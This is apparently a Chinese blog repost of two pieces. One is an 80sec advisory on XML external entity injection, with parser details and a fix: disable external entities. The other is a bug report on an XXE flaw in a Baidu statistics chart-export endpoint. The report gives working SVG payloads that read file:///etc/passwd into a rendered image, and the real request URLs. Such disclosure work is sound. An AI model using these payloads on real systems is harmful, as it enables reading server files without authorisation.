XML实体注入

XML实体注入漏洞安全警告

Write by admin in  未分类 at 2011-11-01 12:13:11

漏洞介绍:可扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集,非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。80sec发现目前一些普遍使用xml的场景中都存在一种古老的XML实体注入漏洞,这可能导致较为严重的安全问题,使得攻击者可能可以任意访问服务器以及应用所在网络的任何资源;

漏洞分析:XML作为一种使用较为广泛的数据传输格式,在语言内部允许引用外部资源来作为语言的补充,譬如


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE copyright [
<!ELEMENT copyright (#PCDATA)>
<!ENTITY hi80sec SYSTEM "http://www.wooyun.org/">
]>
<wooyun version="2.0">
<whitehats>
&hi80sec; is a legend
</whitehats>
</wooyun>

这将使得xml解析器以当前上下文的环境引用外部的资源www.wooyun.org作为hi80sec实体的内容,从而在实际的应用上下文里将该部分数据引入逻辑流程进行处理。同样,我们可以使用

file:///etc/passwd
file://localhost/etc/password

进行访问本地文件系统的操作。

不同的解析器可能默认对于外部实体会有不同的处理规则,以PHP语言为例,默认处理xml的方法就包括:

xml_parse

simplexml_load

两种不同的方法,这两种不同的方法在底层完全采取不同的底层逻辑实现,xml_parse的实现方式为expat库,而simplexml_load使用的是libxml库,两个底层库在解析的时候细节并不一样,expat默认对外部实体并不解析,而simplexml_load默认情况下会解析外部实体等,所以simplexml_load和DOM等函数会受此问题影响,而xml_parse则默认不会受到影响。
我们不止在PHP,在包括Java,Python等处理xml的外部组件及函数中都证明可能存在此问题,而且已经在一些互联网公司的应用及一些使用广泛的开源软件中都发现存在问题。

漏洞证明:我们将在WooYun漏洞报告平台上提交我们发现的已经被证明的安全漏洞

解决方案:检查所使用的底层xml解析库,默认禁止外部实体的解析,同时增强对系统的监控,防止此问题被人利用;我们将在WooYun漏洞报告平台上发布可能受影响的,请及时关注;

本站内容均为原创,转载请务必保留署名与链接!
XML实体注入漏洞安全警告: http://www.80sec.com/xml-entity-injection.html

百度某功能XML实体注入

详细说明:

1. 站点是:http://tongji.baidu.com/data/mobile/brand,找到最下面,有一个下载图片的功能,点击【下载图片】并抓包,可以得到以下请求。



POST http://tongji.baidu.com/data/mobile/chart/save

st 1388505600000
et 1396195200000
reportId 300
format jpg
charts ["<svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\">..此处省略...</svg>"]





2. 可以看出该页面功能是,将用户输入的svg转换为对应的JPG图片。



3. 因为svg本身是基于xml,那么这里会不会存在xxe漏洞呢?



4. 先保守的试试是否支持 xml entity 



["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE svg[<!ENTITY test \"aaaaaaaaaaaaaaaa\">]><svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\"><path transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" d=\"M40.5,805.5L40.5,620.64L62.825,619.92L85.15,614.88L107.475,616.59L129.8,615.78L152.125,617.13L174.45,618.75L196.775,618.84L219.1,621L241.42499999999998,616.14L263.75,617.49L286.075,618.66L308.4,615.78L330.72499999999997,617.6700000000001L353.05,620.91L375.375,622.89L397.7,616.77L420.025,618.03L442.34999999999997,619.29L464.675,618.5699999999999L487,620.73L509.325,621.9L531.65,623.16L553.975,617.76L576.3,617.49L598.625,617.85L620.9499999999999,621L643.275,621.63L665.6,623.88L687.925,624.06L710.25,619.83L710.25,805.5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspan dy=\"10.903846153846155\">&test;</tspan></text></svg>"]





通过以下地址



http://tongji.baidu.com/data/download/?st=1393603200000&et=1396195200000&reportId=300&format=jpg&img=【save操作得到的文件名】&type=download



下载图片,得到:



_2014.03-2014.03.jpg





可以看到,xml entity 没问题。



5. 然后,我们试试external entity 



["<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE svg[<!ENTITY test SYSTEM \"file:///etc/passwd\">]><svg style=\"overflow: hidden; position: relative;\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"730\" version=\"1.1\" height=\"880\"><path transform=\"matrix(1,0,0,1,0,0)\" fill=\"#eaedf2\" stroke=\"none\" d=\"M40.5,805.5L40.5,620.64L62.825,619.92L85.15,614.88L107.475,616.59L129.8,615.78L152.125,617.13L174.45,618.75L196.775,618.84L219.1,621L241.42499999999998,616.14L263.75,617.49L286.075,618.66L308.4,615.78L330.72499999999997,617.6700000000001L353.05,620.91L375.375,622.89L397.7,616.77L420.025,618.03L442.34999999999997,619.29L464.675,618.5699999999999L487,620.73L509.325,621.9L531.65,623.16L553.975,617.76L576.3,617.49L598.625,617.85L620.9499999999999,621L643.275,621.63L665.6,623.88L687.925,624.06L710.25,619.83L710.25,805.5Z\"></path><text transform=\"matrix(1,0,0,1,0,0)\" x=\"0\" y=\"42\" width=\"730\" height=\"2000\" text-anchor=\"start\" font=\"12px Arial\" stroke=\"none\" fill=\"#4b5473\" font-size=\"12px\"><tspan dy=\"10.903846153846155\">&test;</tspan></text></svg>"]





恩,发现也是可以的,如下图:



_2014.03-2014.03 (1).jpg







6. 但是有一个比较恶心的问题,就是图片上显示不全。。。svg本身的text也不支持自动换行。怎么办呢?



这里我结合了 textPath 标签,自己来给图片画上很多条路径,然后让文本跟随这些路径,这样就可以自动换行了~~,像下面这样的:



xxe.jpg





7. 看看实际获取文件内容的效果,还不错吧~



xxe2.jpg





当然,我们也可以用ocr将文字从图片上自动识别出来。试了试pdf自带的,效果有点渣。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值